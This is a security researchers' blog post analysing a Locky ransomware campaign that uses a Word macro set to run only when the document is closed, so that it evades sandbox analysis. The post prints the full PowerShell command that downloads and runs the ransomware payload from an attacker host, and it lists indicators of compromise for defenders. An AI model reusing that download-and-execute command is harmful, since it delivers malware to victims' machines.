By Marcelo Rivero and Jérôme Segura
The Locky ransomware has been very active since its return which we documented in a previous blog post. There are several different Locky campaigns going on at the same time, the largest being the one from affiliate ID 3 which comes with malicious ZIP containing .VBS or .JS attachments.
Malwarebytes researcher Marcelo Rivero discovered a trick documented before  employed by Locky’s affiliate ID 5 to bypass automated analysis done via sandboxes.
Malware authors have used booby trapped Office documents containing macros to retrieve their payloads for some time, but ordinarily the code executes as soon as the user clicks the ‘Enable Content’ button. For analysis purposes, many sandboxes lower the security settings of various applications and enable macros by default, which allows for the automated capture of the malicious payload.
Strikes when you least expect it
However, this particular Locky campaign no longer simply triggers by running the macro itself, but waits until the fake Word document is closed by the user before it starts to invoke a set of commands.
“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile(‘http://newhostrcm[.]top/admin.php?f=1’, $env:APPDATA + ‘\sATTfJY.exe’); Start-Process $env:APPDATA’\sATTfJY.exe’;
The payload is downloaded and launched from the %appdata% folder followed by the typical ransom note:
While not a sophisticated technique, it nonetheless illustrates the constant cat and mouse battle between attackers and defenders. We ascertain that in their current form, the malicious documents are likely to exhibit a harmless behavior in many sandboxes while still infecting end users that would logically close the file when they realize there is nothing to be seen.
Malwarebytes blocks this attack at several different layers and is not impacted by this ‘closing the document’ trick.
Indicators of compromise:
newhostrcm[.]top/admin.php?f=1 22.214.171.124 7cdcb878bf9bf5bb48a0034b04969c74401b25a516078ffd7f721d8098b2a774